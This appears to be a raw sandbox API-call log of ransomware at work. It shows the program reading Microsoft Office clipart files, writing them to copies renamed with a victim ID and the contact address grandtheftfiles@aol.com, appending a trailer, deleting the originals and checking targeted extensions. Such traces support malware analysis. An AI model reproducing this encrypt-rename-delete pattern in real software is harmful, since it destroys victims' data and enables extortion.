	[0085.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1
	[0085.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0085.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0085.290] lstrlenW (lpString=".doc") returned 4
	[0085.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.290] lstrlenW (lpString=".docx") returned 5
	[0085.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.290] lstrlenW (lpString=".pdf") returned 4
	[0085.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.290] lstrlenW (lpString=".xls") returned 4
	[0085.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.290] lstrlenW (lpString=".xlsx") returned 5
	[0085.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.290] lstrlenW (lpString=".ppt") returned 4
	[0085.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0085.290] lstrlenW (lpString=".zip") returned 4
	[0085.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.290] lstrlenW (lpString=".rar") returned 4
	[0085.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.290] lstrlenW (lpString=".bz2") returned 4
	[0085.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.290] lstrlenW (lpString=".7z") returned 3
	[0085.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0085.290] lstrlenW (lpString=".dbf") returned 4
	[0085.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0085.290] lstrlenW (lpString=".1cd") returned 4
	[0085.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0085.290] lstrlenW (lpString=".jpg") returned 4
	[0085.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0085.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0085.291] lstrlenW (lpString=".doc") returned 4
	[0085.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.291] lstrlenW (lpString=".docx") returned 5
	[0085.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.291] lstrlenW (lpString=".pdf") returned 4
	[0085.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.291] lstrlenW (lpString=".xls") returned 4
	[0085.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.291] lstrlenW (lpString=".xlsx") returned 5
	[0085.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.291] lstrlenW (lpString=".ppt") returned 4
	[0085.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0085.291] lstrlenW (lpString=".zip") returned 4
	[0085.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.291] lstrlenW (lpString=".rar") returned 4
	[0085.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.291] lstrlenW (lpString=".bz2") returned 4
	[0085.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.291] lstrlenW (lpString=".7z") returned 3
	[0085.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0085.291] lstrlenW (lpString=".dbf") returned 4
	[0085.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0085.291] lstrlenW (lpString=".1cd") returned 4
	[0085.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0085.291] lstrlenW (lpString=".jpg") returned 4
	[0085.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.291] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.292] lstrlenW (lpString="DD00261_.WMF") returned 12
	[0085.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.292] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=37974) returned 1
	[0085.292] CloseHandle (hObject=0x2d0) returned 1
	[0085.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220
	[0085.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.298] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.298] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.304] GetLastError () returned 0x0
	[0085.304] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x9456, lpOverlapped=0x0) returned 1
	[0085.307] WriteFile (in: hFile=0x2fc, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x9460, lpOverlapped=0x0) returned 1
	[0085.308] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.308] WriteFile (in: hFile=0x2fc, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.308] SetEndOfFile (hFile=0x2fc) returned 1
	[0085.320] CloseHandle (hObject=0x2fc) returned 1
	[0085.323] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.323] SetEndOfFile (hFile=0x378) returned 1
	[0085.326] CloseHandle (hObject=0x378) returned 1
	[0085.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1
	[0085.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0085.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0085.329] lstrlenW (lpString=".doc") returned 4
	[0085.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.330] lstrlenW (lpString=".docx") returned 5
	[0085.330] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.330] lstrlenW (lpString=".pdf") returned 4
	[0085.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.330] lstrlenW (lpString=".xls") returned 4
	[0085.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.330] lstrlenW (lpString=".xlsx") returned 5
	[0085.330] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.330] lstrlenW (lpString=".ppt") returned 4
	[0085.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0085.330] lstrlenW (lpString=".zip") returned 4
	[0085.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.330] lstrlenW (lpString=".rar") returned 4
	[0085.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.330] lstrlenW (lpString=".bz2") returned 4
	[0085.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.330] lstrlenW (lpString=".7z") returned 3
	[0085.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0085.330] lstrlenW (lpString=".dbf") returned 4
	[0085.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0085.330] lstrlenW (lpString=".1cd") returned 4
	[0085.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0085.330] lstrlenW (lpString=".jpg") returned 4
	[0085.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0085.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0085.330] lstrlenW (lpString=".doc") returned 4
	[0085.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.330] lstrlenW (lpString=".docx") returned 5
	[0085.330] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.330] lstrlenW (lpString=".pdf") returned 4
	[0085.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.331] lstrlenW (lpString=".xls") returned 4
	[0085.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.331] lstrlenW (lpString=".xlsx") returned 5
	[0085.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.331] lstrlenW (lpString=".ppt") returned 4
	[0085.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0085.331] lstrlenW (lpString=".zip") returned 4
	[0085.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.331] lstrlenW (lpString=".rar") returned 4
	[0085.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.331] lstrlenW (lpString=".bz2") returned 4
	[0085.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.331] lstrlenW (lpString=".7z") returned 3
	[0085.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0085.331] lstrlenW (lpString=".dbf") returned 4
	[0085.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0085.331] lstrlenW (lpString=".1cd") returned 4
	[0085.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0085.331] lstrlenW (lpString=".jpg") returned 4
	[0085.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.331] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.331] lstrlenW (lpString="DD00405_.WMF") returned 12
	[0085.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.339] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=17584) returned 1
	[0085.339] CloseHandle (hObject=0x2fc) returned 1
	[0085.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x220
	[0085.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.339] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.339] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.340] GetLastError () returned 0x0
	[0085.340] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x44b0, lpOverlapped=0x0) returned 1
	[0085.343] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x44c0, lpOverlapped=0x0) returned 1
	[0085.344] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.344] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.344] SetEndOfFile (hFile=0x2d0) returned 1
	[0085.344] CloseHandle (hObject=0x2d0) returned 1
	[0085.346] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.346] SetEndOfFile (hFile=0x2fc) returned 1
	[0085.347] CloseHandle (hObject=0x2fc) returned 1
	[0085.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1
	[0085.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0085.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0085.347] lstrlenW (lpString=".doc") returned 4
	[0085.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.347] lstrlenW (lpString=".docx") returned 5
	[0085.347] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.347] lstrlenW (lpString=".pdf") returned 4
	[0085.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.347] lstrlenW (lpString=".xls") returned 4
	[0085.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.348] lstrlenW (lpString=".xlsx") returned 5
	[0085.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.348] lstrlenW (lpString=".ppt") returned 4
	[0085.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0085.348] lstrlenW (lpString=".zip") returned 4
	[0085.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.348] lstrlenW (lpString=".rar") returned 4
	[0085.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.348] lstrlenW (lpString=".bz2") returned 4
	[0085.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.348] lstrlenW (lpString=".7z") returned 3
	[0085.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0085.348] lstrlenW (lpString=".dbf") returned 4
	[0085.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0085.348] lstrlenW (lpString=".1cd") returned 4
	[0085.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0085.349] lstrlenW (lpString=".jpg") returned 4
	[0085.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0085.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0085.349] lstrlenW (lpString=".doc") returned 4
	[0085.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.349] lstrlenW (lpString=".docx") returned 5
	[0085.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.349] lstrlenW (lpString=".pdf") returned 4
	[0085.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.349] lstrlenW (lpString=".xls") returned 4
	[0085.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.349] lstrlenW (lpString=".xlsx") returned 5
	[0085.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.349] lstrlenW (lpString=".ppt") returned 4
	[0085.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0085.349] lstrlenW (lpString=".zip") returned 4
	[0085.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.349] lstrlenW (lpString=".rar") returned 4
	[0085.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.349] lstrlenW (lpString=".bz2") returned 4
	[0085.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.350] lstrlenW (lpString=".7z") returned 3
	[0085.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0085.350] lstrlenW (lpString=".dbf") returned 4
	[0085.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0085.350] lstrlenW (lpString=".1cd") returned 4
	[0085.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0085.350] lstrlenW (lpString=".jpg") returned 4
	[0085.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.350] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.350] lstrlenW (lpString="DD00413_.WMF") returned 12
	[0085.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.350] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=42992) returned 1
	[0085.350] CloseHandle (hObject=0x2fc) returned 1
	[0085.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x220
	[0085.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.352] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.352] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.352] GetLastError () returned 0x0
	[0085.352] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xa7f0, lpOverlapped=0x0) returned 1
	[0085.363] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xa800, lpOverlapped=0x0) returned 1
	[0085.694] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.694] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.695] SetEndOfFile (hFile=0x2d0) returned 1
	[0085.695] CloseHandle (hObject=0x2d0) returned 1
